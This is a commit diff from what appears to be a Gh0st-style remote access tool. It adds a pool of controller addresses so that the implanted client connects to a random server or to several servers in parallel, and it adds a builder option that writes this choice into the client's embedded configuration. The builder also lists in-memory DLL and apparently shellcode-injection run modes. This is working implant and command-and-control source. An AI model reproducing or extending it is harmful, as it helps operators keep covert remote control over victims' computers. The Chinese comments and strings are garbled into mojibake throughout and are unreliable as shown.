feature: Support random or multi connection
This commit is contained in:
@@ -467,6 +467,16 @@ DWORD WINAPI StartClient(LPVOID lParam)
|
||||
{
|
||||
ClientApp& app(*(ClientApp*)lParam);
|
||||
CONNECT_ADDRESS& settings(*(app.g_Connection));
|
||||
auto list = app.GetSharedMasterList();
|
||||
if (list.size() > 1 && settings.runningType == RUNNING_PARALLEL) {
|
||||
for (int i=1; i<list.size(); ++i){
|
||||
std::string addr = list[i] + ":" + std::to_string(settings.ServerPort());
|
||||
auto a = NewClientStartArg(addr.c_str(), IsSharedRunning, TRUE);
|
||||
if (nullptr != a) CloseHandle(CreateThread(0, 0, StartClientApp, a, 0, 0));
|
||||
}
|
||||
// The main ClientApp.
|
||||
settings.SetServer(list[0].c_str(), settings.ServerPort());
|
||||
}
|
||||
State& bExit(app.g_bExit);
|
||||
IOCPClient *ClientObject = new IOCPClient(bExit);
|
||||
CKernelManager* Manager = nullptr;
|
||||
|
||||
@@ -12,6 +12,7 @@
|
||||
#include <sstream>
|
||||
#include <shellapi.h>
|
||||
#include <corecrt_io.h>
|
||||
#include "domain_pool.h"
|
||||
|
||||
BOOL IsProcessExit();
|
||||
|
||||
@@ -41,6 +42,11 @@ typedef struct ClientApp
|
||||
m_bShared = shared;
|
||||
g_bThreadExit = TRUE;
|
||||
}
|
||||
std::vector<std::string> GetSharedMasterList() {
|
||||
DomainPool pool = g_Connection->ServerIP();
|
||||
auto list = pool.GetIPList();
|
||||
return list;
|
||||
}
|
||||
~ClientApp() {
|
||||
SAFE_DELETE(g_Connection);
|
||||
}
|
||||
|
||||
@@ -48,6 +48,7 @@ inline int WSAGetLastError() { return -1; }
|
||||
#endif
|
||||
#endif
|
||||
#endif
|
||||
#include <WS2tcpip.h>
|
||||
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
@@ -97,6 +98,7 @@ VOID IOCPClient::setManagerCallBack(void* Manager, DataProcessCB dataProcess)
|
||||
|
||||
IOCPClient::IOCPClient(State&bExit, bool exit_while_disconnect) : g_bExit(bExit)
|
||||
{
|
||||
m_nHostPort = 0;
|
||||
m_Manager = NULL;
|
||||
#ifdef _WIN32
|
||||
WSADATA wsaData;
|
||||
@@ -152,11 +154,16 @@ IOCPClient::~IOCPClient()
|
||||
}
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȡIP<49><50>ַ
|
||||
inline std::string GetIPAddress(const char *hostName)
|
||||
std::string GetIPAddress(const char *hostName)
|
||||
{
|
||||
#ifdef _WIN32
|
||||
struct sockaddr_in sa = { 0 };
|
||||
if (inet_pton(AF_INET, hostName, &(sa.sin_addr)) == 1) {
|
||||
return hostName;
|
||||
}
|
||||
struct hostent *host = gethostbyname(hostName);
|
||||
#ifdef _DEBUG
|
||||
if (host == NULL) return "";
|
||||
Mprintf("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IP<EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ: %s.\n", host->h_addrtype == AF_INET ? "IPV4" : "IPV6");
|
||||
for (int i = 0; host->h_addr_list[i]; ++i)
|
||||
Mprintf("<EFBFBD><EFBFBD>ȡ<EFBFBD>ĵ<EFBFBD>%d<><64>IP: %s\n", i+1, inet_ntoa(*(struct in_addr*)host->h_addr_list[i]));
|
||||
@@ -189,6 +196,12 @@ inline std::string GetIPAddress(const char *hostName)
|
||||
|
||||
BOOL IOCPClient::ConnectServer(const char* szServerIP, unsigned short uPort)
|
||||
{
|
||||
if (szServerIP != NULL && uPort != 0) {
|
||||
SetServerAddress(szServerIP, uPort);
|
||||
}
|
||||
m_sCurIP = m_Domain.SelectIP();
|
||||
unsigned short port = m_nHostPort;
|
||||
|
||||
m_sClientSocket = socket(AF_INET,SOCK_STREAM, IPPROTO_TCP); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
if (m_sClientSocket == SOCKET_ERROR)
|
||||
@@ -200,11 +213,8 @@ BOOL IOCPClient::ConnectServer(const char* szServerIP, unsigned short uPort)
|
||||
//<2F><><EFBFBD><EFBFBD>sockaddr_in<69>ṹ Ҳ<><D2B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ض˵Ľṹ
|
||||
sockaddr_in ServerAddr;
|
||||
ServerAddr.sin_family = AF_INET; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> IP
|
||||
ServerAddr.sin_port = htons(uPort);
|
||||
// <20><>szServerIP<49><50><EFBFBD><EFBFBD><EFBFBD>ֿ<EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IPת<50><D7AA>
|
||||
std::string server = ('0' <= szServerIP[0] && szServerIP[0] <= '9')
|
||||
? szServerIP : GetIPAddress(szServerIP);
|
||||
ServerAddr.sin_addr.S_un.S_addr = inet_addr(server.c_str());
|
||||
ServerAddr.sin_port = htons(port);
|
||||
ServerAddr.sin_addr.S_un.S_addr = inet_addr(m_sCurIP.c_str());
|
||||
|
||||
if (connect(m_sClientSocket,(SOCKADDR *)&ServerAddr,sizeof(sockaddr_in)) == SOCKET_ERROR)
|
||||
{
|
||||
@@ -218,13 +228,10 @@ BOOL IOCPClient::ConnectServer(const char* szServerIP, unsigned short uPort)
|
||||
#else
|
||||
sockaddr_in ServerAddr = {};
|
||||
ServerAddr.sin_family = AF_INET; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> IP
|
||||
ServerAddr.sin_port = htons(uPort);
|
||||
std::string server = ('0' <= szServerIP[0] && szServerIP[0] <= '9')
|
||||
? szServerIP : GetIPAddress(szServerIP);
|
||||
|
||||
ServerAddr.sin_port = htons(port);
|
||||
// <20><>szServerIP<49><50><EFBFBD><EFBFBD><EFBFBD>ֿ<EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IPת<50><D7AA>
|
||||
// ʹ<><CAB9> inet_pton <20><><EFBFBD><EFBFBD> inet_addr (inet_pton <20><><EFBFBD><EFBFBD>֧<EFBFBD><D6A7> IPv4 <20><> IPv6)
|
||||
if (inet_pton(AF_INET, server.c_str(), &ServerAddr.sin_addr) <= 0) {
|
||||
if (inet_pton(AF_INET, m_sCurIP.c_str(), &ServerAddr.sin_addr) <= 0) {
|
||||
Mprintf("Invalid address or address not supported\n");
|
||||
return false;
|
||||
}
|
||||
|
||||
@@ -19,6 +19,7 @@
|
||||
#include "Buffer.h"
|
||||
#include "common/commands.h"
|
||||
#include "zstd/zstd.h"
|
||||
#include "domain_pool.h"
|
||||
|
||||
#define MAX_RECV_BUFFER 1024*32
|
||||
#define MAX_SEND_BUFFER 1024*32
|
||||
@@ -86,6 +87,11 @@ public:
|
||||
BOOL OnServerSending(const char* szBuffer, ULONG ulOriginalLength);
|
||||
BOOL SendWithSplit(const char* szBuffer, ULONG ulLength, ULONG ulSplitLength);
|
||||
|
||||
void SetServerAddress(const char* szServerIP, unsigned short uPort) {
|
||||
m_Domain = szServerIP ? szServerIP : "127.0.0.1";
|
||||
m_nHostPort = uPort;
|
||||
}
|
||||
|
||||
BOOL IsRunning() const
|
||||
{
|
||||
return m_bIsRunning;
|
||||
@@ -110,7 +116,9 @@ public:
|
||||
State& g_bExit; // ȫ<><C8AB>״̬<D7B4><CCAC>
|
||||
void* m_Manager; // <20>û<EFBFBD><C3BB><EFBFBD><EFBFBD><EFBFBD>
|
||||
DataProcessCB m_DataProcess; // <20><><EFBFBD><EFBFBD><EFBFBD>û<EFBFBD><C3BB><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
DomainPool m_Domain;
|
||||
std::string m_sCurIP;
|
||||
int m_nHostPort;
|
||||
bool m_exit_while_disconnect;
|
||||
};
|
||||
|
||||
|
||||
31
client/domain_pool.h
Normal file
31
client/domain_pool.h
Normal file
@@ -0,0 +1,31 @@
|
||||
#pragma once
|
||||
#include <string>
|
||||
#include <vector>
|
||||
#include <commands.h>
|
||||
|
||||
std::string GetIPAddress(const char* hostName);
|
||||
|
||||
class DomainPool {
|
||||
private:
|
||||
char Address[100]; // <20>˳<EFBFBD><CBB3>Ⱥ<EFBFBD>CONNECT_ADDRESS<53><53><EFBFBD><EFBFBD>ƥ<EFBFBD><C6A5>
|
||||
std::vector<std::string> IPList;
|
||||
public:
|
||||
DomainPool() {
|
||||
memset(Address, 0, sizeof(Address));
|
||||
}
|
||||
DomainPool(const char* addr) {
|
||||
strcpy_s(Address, addr ? addr : "");
|
||||
IPList = StringToVector(Address, ';');
|
||||
for (int i = 0; i < IPList.size(); i++)
|
||||
{
|
||||
IPList[i] = GetIPAddress(IPList[i].c_str());
|
||||
}
|
||||
}
|
||||
std::string SelectIP() const {
|
||||
auto n = rand() % IPList.size();
|
||||
return IPList[n];
|
||||
}
|
||||
std::vector<std::string> GetIPList() const {
|
||||
return IPList;
|
||||
}
|
||||
};
|
||||
@@ -206,6 +206,7 @@
|
||||
<ClInclude Include="CaptureVideo.h" />
|
||||
<ClInclude Include="Common.h" />
|
||||
<ClInclude Include="CursorInfo.h" />
|
||||
<ClInclude Include="domain_pool.h" />
|
||||
<ClInclude Include="FileManager.h" />
|
||||
<ClInclude Include="IOCPClient.h" />
|
||||
<ClInclude Include="KernelManager.h" />
|
||||
|
||||
@@ -188,7 +188,9 @@ struct CONNECT_ADDRESS
|
||||
int iMultiOpen;
|
||||
int iStartup;
|
||||
int iHeaderEnc;
|
||||
char szReserved[62];
|
||||
char protoType;
|
||||
char runningType;
|
||||
char szReserved[60];
|
||||
char pwdHash[64];
|
||||
}g_Server = { "Hello, World!", "127.0.0.1", "6543" };
|
||||
|
||||
|
||||
@@ -465,6 +465,18 @@ inline int MemoryFind(const char* szBuffer, const char* Key, int iBufferSize, in
|
||||
return -1;
|
||||
}
|
||||
|
||||
enum ProtoType {
|
||||
PROTO_TCP = 0, // TCP
|
||||
PROTO_UDP = 1, // UDP
|
||||
PROTO_HTTP = 2, // HTTP
|
||||
PROTO_HTTPS = 3, // HTTPS
|
||||
};
|
||||
|
||||
enum RunningType {
|
||||
RUNNING_RANDOM = 0, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
RUNNING_PARALLEL = 1, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
};
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD>ӵ<EFBFBD><D3B5><EFBFBD><EFBFBD>س<EFBFBD><D8B3><EFBFBD><EFBFBD><EFBFBD>Ϣ
|
||||
typedef struct CONNECT_ADDRESS
|
||||
{
|
||||
@@ -478,7 +490,9 @@ public:
|
||||
int iMultiOpen;
|
||||
int iStartup; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʽ
|
||||
int iHeaderEnc; // <20><><EFBFBD>ݼ<EFBFBD><DDBC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
char szReserved[62]; // ռλ<EFBFBD><EFBFBD>ʹ<EFBFBD>ṹ<EFBFBD><EFBFBD>ռ<EFBFBD><EFBFBD>300<EFBFBD>ֽ<EFBFBD>
|
||||
char protoType; // Э<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
char runningType; // <20><><EFBFBD>з<EFBFBD>ʽ
|
||||
char szReserved[60]; // ռλ<D5BC><CEBB>ʹ<EFBFBD>ṹ<EFBFBD><E1B9B9>ռ<EFBFBD><D5BC>300<30>ֽ<EFBFBD>
|
||||
char pwdHash[64];
|
||||
|
||||
public:
|
||||
|
||||
Binary file not shown.
@@ -72,6 +72,7 @@ void CBuildDlg::DoDataExchange(CDataExchange* pDX)
|
||||
DDX_Control(pDX, IDC_COMBO_EXE, m_ComboExe);
|
||||
DDX_Control(pDX, IDC_STATIC_OTHER_ITEM, m_OtherItem);
|
||||
DDX_Control(pDX, IDC_COMBO_BITS, m_ComboBits);
|
||||
DDX_Control(pDX, IDC_COMBO_RUNTYPE, m_ComboRunType);
|
||||
}
|
||||
|
||||
|
||||
@@ -146,6 +147,7 @@ void CBuildDlg::OnBnClickedOk()
|
||||
//////////<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ//////////////////////
|
||||
CONNECT_ADDRESS g_ConnectAddress = { FLAG_FINDEN, "127.0.0.1", "", typ, false, DLL_VERSION, 0, startup, HeaderEncV1 };
|
||||
g_ConnectAddress.SetServer(m_strIP, atoi(m_strPort));
|
||||
g_ConnectAddress.runningType = m_ComboRunType.GetCurSel();
|
||||
|
||||
if (!g_ConnectAddress.IsValid()) {
|
||||
SAFE_DELETE_ARRAY(szBuffer);
|
||||
@@ -236,6 +238,8 @@ BOOL CBuildDlg::OnInitDialog()
|
||||
CDialog::OnInitDialog();
|
||||
|
||||
// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD>Ӷ<EFBFBD><D3B6><EFBFBD><EFBFBD>ij<EFBFBD>ʼ<EFBFBD><CABC>
|
||||
CEdit* pEdit = (CEdit*)GetDlgItem(IDC_EDIT_IP);
|
||||
pEdit->LimitText(99);
|
||||
m_ComboExe.InsertString(IndexTestRun_DLL, "TestRun - <20><><EFBFBD><EFBFBD>DLL");
|
||||
m_ComboExe.InsertString(IndexTestRun_MemDLL, "TestRun - <20>ڴ<EFBFBD>DLL");
|
||||
m_ComboExe.InsertString(IndexTestRun_InjSC, "TestRun - ע<><D7A2><EFBFBD><EFBFBD><EFBFBD>±<EFBFBD>");
|
||||
@@ -249,6 +253,10 @@ BOOL CBuildDlg::OnInitDialog()
|
||||
m_ComboBits.InsertString(1, "32λ");
|
||||
m_ComboBits.SetCurSel(0);
|
||||
|
||||
m_ComboRunType.InsertString(RUNNING_RANDOM, "<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>");
|
||||
m_ComboRunType.InsertString(RUNNING_PARALLEL, "<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>");
|
||||
m_ComboRunType.SetCurSel(RUNNING_RANDOM);
|
||||
|
||||
m_OtherItem.ShowWindow(SW_HIDE);
|
||||
|
||||
return TRUE; // return TRUE unless you set the focus to a control
|
||||
|
||||
@@ -32,4 +32,5 @@ public:
|
||||
afx_msg void OnCbnSelchangeComboExe();
|
||||
CStatic m_OtherItem;
|
||||
CComboBox m_ComboBits;
|
||||
CComboBox m_ComboRunType;
|
||||
};
|
||||
|
||||
Binary file not shown.
Reference in New Issue
Block a user